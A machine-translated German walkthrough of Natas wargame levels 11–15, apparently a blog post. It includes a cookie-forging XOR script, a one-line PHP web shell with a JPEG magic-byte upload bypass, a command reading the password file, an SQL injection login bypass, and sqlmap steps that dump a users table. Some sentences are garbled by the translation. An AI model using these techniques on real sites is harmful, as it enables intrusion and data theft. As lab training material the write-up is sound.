
In diesem Artikel werden wir uns am Beispiel des
Natas- Kriegsspiels mit der Funktionsweise einiger WEB-Identitäten befassen. Jede Ebene hat Zugriff auf das Passwort der nächsten Ebene. Alle Passwörter werden auch in den Dateien / etc / natas_webpass / gespeichert. Beispielsweise wird das Kennwort für natas5 in der Datei / etc / natas_webpass / natas5 gespeichert und ist für die Benutzer natas4 und natas5 schreibgeschützt.
OrganisationsinformationenSpeziell für diejenigen, die etwas Neues lernen und sich in einem der Bereiche Informations- und Computersicherheit entwickeln möchten, werde ich über die folgenden Kategorien schreiben und sprechen:
- PWN;
- Kryptographie (Krypto);
- Netzwerktechnologien (Netzwerk);
- Reverse (Reverse Engineering);
- Steganographie (Stegano);
- Suche und Ausnutzung von WEB-Schwachstellen.
Darüber hinaus werde ich meine Erfahrungen in den Bereichen Computerforensik, Analyse von Malware und Firmware, Angriffe auf drahtlose Netzwerke und lokale Netzwerke, Durchführung von Pentests und Schreiben von Exploits teilen.
Damit Sie sich über neue Artikel, Software und andere Informationen informieren können, habe ich
in Telegram einen
Kanal und eine
Gruppe eingerichtet, um alle Probleme im Bereich ICD
zu diskutieren . Außerdem werde ich Ihre persönlichen Anfragen, Fragen, Vorschläge und Empfehlungen
persönlich prüfen
und alle beantworten .
Alle Informationen werden nur zu Bildungszwecken bereitgestellt. Der Autor dieses Dokuments übernimmt keine Verantwortung für Schäden, die jemandem durch die Verwendung von Kenntnissen und Methoden entstehen, die durch das Studium dieses Dokuments erworben wurden.
Level 11
Analysieren Sie den Code:
- Das Kennwort ist verfügbar, wenn der Wert aus dem Datenarray mit dem Schlüssel showpassword "yes" lautet.

- Das Datenarray wird von der Funktion loadData erstellt, an die Standarddaten als Parameter übergeben werden.


- Die Funktion loadData lädt Datenwerte aus einem Cookie (codiert Daten in base64, verschlüsselt xor auf einem unbekannten Schlüssel, decodiert Daten im json-Format).


- legt die empfangenen Werte fest.
Was Sie tun müssen:
- XOR-Verschlüsselungsschlüssel wiederherstellen:
- verschlüsselte Daten aus einem Cookie entnehmen;
- decodiere base64;
- Standarddaten im JSON-Format codieren;
- Proxor erhielt Zeitpläne.
- verschlüsseln und verschlüsseln Sie die neuen Daten mit dem inversen Algorithmus, wobei showpassword == yes ;
- Fügen Sie die neuen Daten in das Cookie ein und laden Sie die Seite neu.

<?php function xor_encrypt($in, $k) { $key = $k; $text = $in; $outText = ''; for($i=0;$i<strlen($text);$i++) { $outText .= $text[$i] ^ $key[$i % strlen($key)]; } return $outText; } $old_data_code = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw"; $old_data_decode = array( "showpassword"=>"no", "bgcolor"=>"#ffffff"); $new_data_decode = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff"); $KEY = xor_encrypt(base64_decode($old_data_code), json_encode($old_data_decode)); echo "key: ". $KEY . "\n"; $KEY="qw8J"; $new_data_code = base64_encode(xor_encrypt(json_encode($new_data_decode), $KEY)); echo "new cookie: " . $new_data_code . "\n"; ?>


Stufe 12
Wenn Sie die Datei auf der Site speichern, wird sie unter einem zufälligen Namen und einer JPEG-Erweiterung gespeichert. Das Wichtigste ist jedoch, dass dieser Name gebildet und dem Benutzer in einem ausgeblendeten Feld des ausgeblendeten Formulars bereitgestellt wird, noch bevor die Datei ausgewählt und anschließend mit der Datei an den Server gesendet wird.
Aufgabe: PHP-Shell erstellen, Anfrage an den Server abfangen und
Ändern Sie den Dateinamen in * .php.
<? echo system($_GET["cmd"]); ?>

Wir verwenden Burp Suite: Wir setzen die Browser-Proxy-Einstellungen auf 127.0.0.1:8080. Senden Sie die Shell. Auf der Registerkarte Proxy ersetzen wir die Anfrage.



Wir wenden uns unserer Datei auf dem Server zu und übergeben Befehle über den Parameter cmd an die Befehlszeile.
cat /etc/natas_webpass/natas13

Diese Art von Sicherheitsanfälligkeit wird als uneingeschränktes Hochladen von Dateien klassifiziert.
Um eine Shell zu erstellen, verwenden Sie am besten PHP-Konstanten, da die Ausführung von Systemfunktionen durch die Servereinstellungen möglicherweise verboten ist.
Stufe 13
Wenn Sie dieselbe Shell auf dem Server speichern, wird uns mitgeteilt, dass dies kein Image ist. Wir analysieren den Code.

Die Funktion exif_imagetype ist vorhanden.


Zum Überprüfen der JPEG-Datei verwendet diese Funktion die interne Funktion is_jpeg, die die ersten vier Bytes der Datei überprüft.

Tatsache ist, dass der PHP-Interpreter Code ausführt, der zwischen <? ?>, alle anderen Zeichen überspringen. Öffnen Sie die Shell der vorherigen Ebene im Hex-Editor und fügen Sie am Anfang der Datei die Bytes 0xFFD8FFE0 hinzu.

Senden Sie es analog zur vorherigen Ebene an die Site und erhalten Sie ein Passwort.

Stufe 14
Ein häufiger Fehler im Autorisierungsformular. Datenbankabfrage:
SELECT * from users where username="username" and password="password";

Es ist möglich, die Anfrage immer wahr zu machen: login = "admin" oder 1 = 1 - ".

In diesem Fall gibt 1 = 1 true zurück und der Rest der Anforderung wird auskommentiert:
SELECT * from users where username="admin" or 1=1;
Wir nehmen das Passwort weg.

Diese Art von Sicherheitsanfälligkeit gehört zur Kategorie SQL Injection.
Stufe 15
In diesem Formular analysieren wir den Betrieb von sqlmap. Senden Sie eine Anfrage und fangen Sie die Daten und den HTTP-Header ab.


Wir wählen nur die notwendigen Informationen aus der Kopfzeile aus. In diesem Fall: User-Agent, Referer, Authorization. Legen Sie die sqlmap-Parameter fest:
- -u "URL"
- --headers = "HTTP-Header, getrennt durch" \ n ""
- --data = "POST-Anforderungsdaten"
- --current-db - Bestimmen Sie, welche Datenbank verwendet wird
- --tamper = space2comment - Ersetzen Sie das Leerzeichen durch die Zeichenfolge / ** / (in SQL ist dies dasselbe)
- --level = (1-5) - Scan-Level
- --risk = (1-3) - Scanrisiko

Sqlmap stellte fest, dass der Benutzername-Parameter für die boolesche Blindinjektion anfällig ist, und zeigte die richtige Datenbankantwort auf das richtige Ereignis an (im nachfolgenden Scan können Sie den anfälligen Parameter und die Art der Injektion sofort angeben: -p Benutzername und --technique = B).
B: Boolesche Blind SQL-Injektion
U: SQL-Injection für UNION-Abfragen
T: Zeitbasierte Blind-SQL-Injection
E: Fehlerbasierte SQL-Injection
S: SQL-Injection für gestapelte Abfragen
Sqlmap hat das MySQL-DBMS erkannt (in nachfolgenden Scans den Parameter --dbms = MySQL) und gefragt, ob die Version von mysql ermittelt werden muss (Standard ist yes).

Sqlmap berichtete, dass die Version von MySQL> = 5.0.12 ist (dies ist erforderlich, um die DBMS-Dienstprogrammkonstanten auszuwählen).

Sqlmap hat die Last für den Benutzernamen-Parameter ermittelt und gefragt, ob andere Parameter überprüft werden sollen (standardmäßig nein). Es zeigt auch die Last.

Bietet Informationen zum Knoten und, wie von uns angefordert, zur aktuellen Datenbank: natas15.


Angesichts der neuen bekannten Daten finden wir die Tabellen aus der natas15-Datenbank heraus:
- -D "Datenbank"
- --tables - Tabellen definieren

Sqlmap hat eine Benutzertabelle definiert.

Wir erkennen die Spalten in der Benutzertabelle:
- -T "Tisch"
- --columns - definiert Spalten

Sqlmap hat 2 Spalten definiert.

Wir sichern die Benutzertabelle (Option --dump). Die Müllkippe dauerte 3 Minuten. Wir führen die Anfrage in 8 Threads (--threads 8) aus - als Ergebnis: 1 Minute.

Wir nehmen das Passwort weg.
Fortsetzung folgt. Sie können sich uns
per Telegramm anschließen .